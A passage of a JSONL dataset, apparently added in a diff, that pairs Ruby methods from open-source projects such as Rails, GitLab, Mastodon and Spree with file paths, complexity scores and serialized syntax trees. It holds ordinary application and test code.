pe\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Class\"]},\"new\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"include\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"set\"]},\"url_helpers\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"controller\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"kls\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_respond_to\",{\"type\":\"lvar\",\"children\":[\"controller\"]},{\"type\":\"sym\",\"children\":[\"home_url\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"/brave/new/world\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"controller\"]},\"url_for\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"controller\"]},{\"type\":\"str\",\"children\":[\"brave\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"str\",\"children\":[\"new\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"str\",\"children\":[\"world\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"only_path\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"/home/sweet/home/alabama\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"controller\"]},\"home_path\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"str\",\"children\":[\"alabama\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"host\"]},{\"type\":\"str\",\"children\":[\"unused\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"/home/sweet/home/alabama\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"controller\"]},\"home_path\",{\"type\":\"str\",\"children\":[\"alabama\"]}]}]}]}]}]}","id":"58b2a113-f1c5-438a-b57a-b09d9ccb4df9"}
+{"repo_name":"mastodon","file_path":"./repos/mastodon/spec/requests/well_known/host_meta_spec.rb","start_line":20,"raw_source":"def xrd_link_template_value\n response\n .parsed_body\n .at_xpath('/xrd:XRD/xrd:Link[@rel=\"lrdd\"]/@template', 'xrd' => 'http://docs.oasis-open.org/ns/xri/xrd-1.0')\n .value\n end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"xrd_link_template_value\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"response\"]},\"parsed_body\"]},\"at_xpath\",{\"type\":\"str\",\"children\":[\"/xrd:XRD/xrd:Link[@rel=\\\"lrdd\\\"]/@template\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"xrd\"]},{\"type\":\"str\",\"children\":[\"http://docs.oasis-open.org/ns/xri/xrd-1.0\"]}]}]}]},\"value\"]}]}","id":"0f6ca1e7-8846-4445-a0d5-faaa3485d81e"}
+{"repo_name":"identity_cache","file_path":"./repos/identity_cache/test/cache_fetcher_test.rb","start_line":127,"raw_source":"def test_fetch_lock_attempt_interrupted_with_cache_invalidation\n cache_fetcher.expects(:sleep).never\n backend.expects(:cas).returns(false).with do |got_key|\n other_cache_fetcher.delete(key)\n key == got_key\n end\n other_client_operations = 1\n assert_memcache_operations(2 + other_client_operations) do # add (lock), get (lock), excludes mocked cas\n assert_equal(:fill_data, cache_fetcher.fetch(key, fill_lock_duration: 0.9) { :fill_data })\n end\n assert_equal(IdentityCache::DELETED, backend.read(key))\n end","complexity_score":33.28,"ast_json":"{\"type\":\"def\",\"children\":[\"test_fetch_lock_attempt_interrupted_with_cache_invalidation\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cache_fetcher\"]},\"expects\",{\"type\":\"sym\",\"children\":[\"sleep\"]}]},\"never\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"backend\"]},\"expects\",{\"type\":\"sym\",\"children\":[\"cas\"]}]},\"returns\",{\"type\":\"false\",\"children\":[]}]},\"with\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"got_key\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"other_cache_fetcher\"]},\"delete\",{\"type\":\"send\",\"children\":[null,\"key\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"key\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"got_key\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"other_client_operations\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_memcache_operations\",{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[2]},\"+\",{\"type\":\"lvar\",\"children\":[\"other_client_operations\"]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"sym\",\"children\":[\"fill_data\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cache_fetcher\"]},\"fetch\",{\"type\":\"send\",\"children\":[null,\"key\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"fill_lock_duration\"]},{\"type\":\"float\",\"children\":[0.9]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"sym\",\"children\":[\"fill_data\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IdentityCache\"]},\"DELETED\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"backend\"]},\"read\",{\"type\":\"send\",\"children\":[null,\"key\"]}]}]}]}]}","id":"36f1a8f2-baed-4416-9c7d-e1c40201ad89"}
+{"repo_name":"fastlane","file_path":"./repos/fastlane/spaceship/lib/spaceship/tunes/iap_detail.rb","start_line":153,"raw_source":"def merch_screenshot\n return nil unless raw_data && raw_data[\"versions\"] && raw_data[\"versions\"].first && raw_data[\"versions\"].first[\"merch\"] && raw_data[\"versions\"].first[\"merch\"][\"images\"].first[\"image\"][\"value\"]\n raw_data[\"versions\"].first[\"merch\"][\"images\"].first[\"image\"][\"value\"]\n end","complexity_score":51.0,"ast_json":"{\"type\":\"def\",\"children\":[\"merch_screenshot\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"raw_data\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"raw_data\"]},\"[]\",{\"type\":\"str\",\"children\":[\"versions\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"raw_data\"]},\"[]\",{\"type\":\"str\",\"children\":[\"versions\"]}]},\"first\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"raw_data\"]},\"[]\",{\"type\":\"str\",\"children\":[\"versions\"]}]},\"first\"]},\"[]\",{\"type\":\"str\",\"children\":[\"merch\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"raw_data\"]},\"[]\",{\"type\":\"str\",\"children\":[\"versions\"]}]},\"first\"]},\"[]\",{\"type\":\"str\",\"children\":[\"merch\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"images\"]}]},\"first\"]},\"[]\",{\"type\":\"str\",\"children\":[\"image\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"value\"]}]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"raw_data\"]},\"[]\",{\"type\":\"str\",\"children\":[\"versions\"]}]},\"first\"]},\"[]\",{\"type\":\"str\",\"children\":[\"merch\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"images\"]}]},\"first\"]},\"[]\",{\"type\":\"str\",\"children\":[\"image\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"value\"]}]}]}]}","id":"b66734f8-0382-4d23-8c7f-62a974f08a26"}
+{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/connection_pool_test.rb","start_line":217,"raw_source":"def test_reap_inactive\n ready = Concurrent::CountDownLatch.new\n @pool.checkout\n child = new_thread do\n @pool.checkout\n @pool.checkout\n ready.count_down\n stop_thread\n end\n pass_to(child) until ready.wait(0)\n\n assert_equal 3, active_connections(@pool).size\n\n child.terminate\n child.join\n @pool.reap\n\n assert_equal 1, active_connections(@pool).size\n ensure\n @pool.connections.each { |conn| conn.close if conn.in_use? }\n end","complexity_score":33.65,"ast_json":"{\"type\":\"def\",\"children\":[\"test_reap_inactive\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ready\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Concurrent\"]},\"CountDownLatch\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@pool\"]},\"checkout\"]},{\"type\":\"lvasgn\",\"children\":[\"child\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"new_thread\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@pool\"]},\"checkout\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@pool\"]},\"checkout\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ready\"]},\"count_down\"]},{\"type\":\"send\",\"children\":[null,\"stop_thread\"]}]}]}]},{\"type\":\"until\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ready\"]},\"wait\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[null,\"pass_to\",{\"type\":\"lvar\",\"children\":[\"child\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[3]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"active_connections\",{\"type\":\"ivar\",\"children\":[\"@pool\"]}]},\"size\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"child\"]},\"terminate\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"child\"]},\"join\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@pool\"]},\"reap\"]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"active_connections\",{\"type\":\"ivar\",\"children\":[\"@pool\"]}]},\"size\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@pool\"]},\"connections\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"conn\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conn\"]},\"in_use?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conn\"]},\"close\"]},null]}]}]}]}","id":"af62b475-178f-4b12-a5b7-ba0f56e5b078"}
+{"repo_name":"forem","file_path":"./repos/forem/app/models/notification.rb","start_line":110,"raw_source":"def send_mention_notification_without_delay(mention)\n return if MentionDecorator.new(mention).mentioned_by_blocked_user?\n\n Notifications::NewMention::Send.call(mention) if mention\n end","complexity_score":5.3,"ast_json":"{\"type\":\"def\",\"children\":[\"send_mention_notification_without_delay\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"mention\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MentionDecorator\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"mention\"]}]},\"mentioned_by_blocked_user?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mention\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Notifications\"]},\"NewMention\"]},\"Send\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"mention\"]}]},null]}]}]}","id":"dc771192-4173-4269-8425-970f90e20e81"}
+{"repo_name":"spree","file_path":"./repos/spree/core/lib/spree/core/search/base.rb","start_line":124,"raw_source":"def prepare(params)\n @properties[:keywords] = params[:keywords]\n @properties[:option_value_ids] = build_option_value_ids(params)\n @properties[:price] = get_price_range(params[:price])\n @properties[:search] = params[:search]\n @properties[:sort_by] = params[:sort_by] || 'default'\n @properties[:include_images] = params[:include_images]\n\n per_page = params[:per_page].to_i\n @properties[:per_page] = per_page > 0 ? per_page : Spree::Config[:products_per_page]\n @properties[:page] = if params[:page].respond_to?(:to_i)\n params[:page].to_i <= 0 ? 1 : params[:page].to_i\n else\n 1\n end\n @properties[:product_properties] = params[:properties]\n end","complexity_score":35.98,"ast_json":"{\"type\":\"def\",\"children\":[\"prepare\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"params\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@properties\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"keywords\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"keywords\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@properties\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"option_value_ids\"]},{\"type\":\"send\",\"children\":[null,\"build_option_value_ids\",{\"type\":\"lvar\",\"children\":[\"params\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@properties\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"price\"]},{\"type\":\"send\",\"children\":[null,\"get_price_range\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"price\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@properties\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"search\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"search\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@properties\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"sort_by\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"sort_by\"]}]},{\"type\":\"str\",\"children\":[\"default\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@properties\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"include_images\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"include_images\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"per_page\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"per_page\"]}]},\"to_i\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@properties\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"per_page\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"per_page\"]},\">\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"lvar\",\"children\":[\"per_page\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"Config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"products_per_page\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@properties\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"page\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"page\"]}]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"to_i\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"page\"]}]},\"to_i\"]},\"<=\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"int\",\"children\":[1]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"page\"]}]},\"to_i\"]}]},{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@properties\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"product_properties\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"properties\"]}]}]}]}]}","id":"d52b1e53-3cd4-4f95-b921-431bba5e9180"}
+{"repo_name":"openproject","file_path":"./repos/openproject/app/models/queries/work_packages/filter/relatable_filter.rb","start_line":34,"raw_source":"def available?\n User.current.allowed_in_any_work_package?(:manage_work_package_relations)\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"available?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"current\"]},\"allowed_in_any_work_package?\",{\"type\":\"sym\",\"children\":[\"manage_work_package_relations\"]}]}]}","id":"c63ec565-6f49-4090-ada6-6ce38e82e754"}
+{"repo_name":"manageiq","file_path":"./repos/manageiq/lib/extensions/ar_miq_set.rb","start_line":52,"raw_source":"def self.acts_as_miq_set(model_class = nil)\n include ActsAsMiqSet\n\n self.model_class = model_class unless model_class.nil?\n end","complexity_score":6.1,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"acts_as_miq_set\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"model_class\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"include\",{\"type\":\"const\",\"children\":[null,\"ActsAsMiqSet\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model_class\"]},\"nil?\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"model_class=\",{\"type\":\"lvar\",\"children\":[\"model_class\"]}]}]}]}]}","id":"1d00549c-6d8a-4117-80b9-256e0c4b06e9"}
+{"repo_name":"rails","file_path":"./repos/rails/activemodel/test/cases/naming_test.rb","start_line":152,"raw_source":"def test_route_key\n assert_equal \"articles\", @model_name.route_key\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_route_key\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"articles\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@model_name\"]},\"route_key\"]}]}]}","id":"c59f2815-455d-4882-99ed-82e0fd3e04b6"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/concerns/merge_requests/assigns_merge_params.rb","start_line":5,"raw_source":"def self.included(klass)\n raise \"#{self} can not be included in #{klass} without implementing #current_user\" unless klass.method_defined?(:current_user)\n end","complexity_score":4.1,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"included\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"klass\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"method_defined?\",{\"type\":\"sym\",\"children\":[\"current_user\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"self\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\" can not be included in \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]}]},{\"type\":\"str\",\"children\":[\" without implementing #current_user\"]}]}]}]}]}","id":"770e4fd2-302c-4168-9e05-a90290642a0b"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/services/jira_connect/sync_service_spec.rb","start_line":28,"raw_source":"def expect_log(type, message)\n expect(Gitlab::IntegrationsLogger)\n .to receive(type).with(\n {\n message: 'response from jira dev_info api',\n integration: 'JiraConnect',\n project_id: project.id,\n project_path: project.full_path,\n jira_response: message&.to_json\n }\n )\n end","complexity_score":12.2,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_log\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"type\"]},{\"type\":\"arg\",\"children\":[\"message\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"IntegrationsLogger\"]}]},\"to\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"receive\",{\"type\":\"lvar\",\"children\":[\"type\"]}]},\"with\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"str\",\"children\":[\"response from jira dev_info api\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"integration\"]},{\"type\":\"str\",\"children\":[\"JiraConnect\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_path\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"full_path\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"jira_response\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"to_json\"]}]}]}]}]}]}","id":"b3953305-26cb-4106-b031-102221c9ddc6"}
+{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/model_schema.rb","start_line":328,"raw_source":"def real_inheritance_column=(value) # :nodoc:\n self._inheritance_column = value.to_s\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"real_inheritance_column=\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"_inheritance_column=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"to_s\"]}]}]}","id":"ba7af82e-603f-43e4-ba02-afe7540e6f5f"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/sidekiq_middleware/concurrency_limit/concurrency_limit_service.rb","start_line":53,"raw_source":"def track_execution_end(worker_name)\n new(worker_name).track_execution_end\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"track_execution_end\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"worker_name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"new\",{\"type\":\"lvar\",\"children\":[\"worker_name\"]}]},\"track_execution_end\"]}]}","id":"56ef99e3-96b7-4c64-b0c5-a781a782e279"}
+{"repo_name":"doorkeeper","file_path":"./repos/doorkeeper/lib/doorkeeper/oauth/token_introspection.rb","start_line":80,"raw_source":"def authorize_using_bearer_token!\n # Requested bearer token authorization\n #\n # If the protected resource uses an OAuth 2.0 bearer token to authorize\n # its call to the introspection endpoint and the token used for\n # authorization does not contain sufficient privileges or is otherwise\n # invalid for this request, the authorization server responds with an\n # HTTP 401 code as described in Section 3 of OAuth 2.0 Bearer Token\n # Usage [RFC6750].\n #\n @error = Errors::InvalidToken unless valid_authorized_token?\n end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"authorize_using_bearer_token!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"valid_authorized_token?\"]},null,{\"type\":\"ivasgn\",\"children\":[\"@error\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Errors\"]},\"InvalidToken\"]}]}]}]}","id":"977f5954-de91-4672-a3d5-aafbee993a52"}
+{"repo_name":"manageiq","file_path":"./repos/manageiq/lib/extensions/ar_migration.rb","start_line":74,"raw_source":"def region_number\n subscription.provider_region\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"region_number\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"subscription\"]},\"provider_region\"]}]}","id":"489c5180-b6f2-4725-9c8f-9fef4f76e26d"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/discussions_diff/file_collection.rb","start_line":70,"raw_source":"def diff_files\n strong_memoize(:diff_files) { map(&:raw_diff_file) }\n end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"diff_files\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"strong_memoize\",{\"type\":\"sym\",\"children\":[\"diff_files\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"raw_diff_file\"]}]}]}]}]}","id":"30a43074-fec6-4e2f-b305-130d7a50a891"}
+{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/plugin/out_stdout.rb","start_line":64,"raw_source":"def process(tag, es)\n es = inject_values_to_event_stream(tag, es)\n es.each {|time,record|\n dest_io.write(format(tag, time, record))\n }\n dest_io.flush\n end","complexity_score":9.9,"ast_json":"{\"type\":\"def\",\"children\":[\"process\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tag\"]},{\"type\":\"arg\",\"children\":[\"es\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"es\",{\"type\":\"send\",\"children\":[null,\"inject_values_to_event_stream\",{\"type\":\"lvar\",\"children\":[\"tag\"]},{\"type\":\"lvar\",\"children\":[\"es\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"es\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"time\"]},{\"type\":\"arg\",\"children\":[\"record\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"dest_io\"]},\"write\",{\"type\":\"send\",\"children\":[null,\"format\",{\"type\":\"lvar\",\"children\":[\"tag\"]},{\"type\":\"lvar\",\"children\":[\"time\"]},{\"type\":\"lvar\",\"children\":[\"record\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"dest_io\"]},\"flush\"]}]}]}","id":"bb1b5163-3bd3-4911-ac63-5b791392892e"}
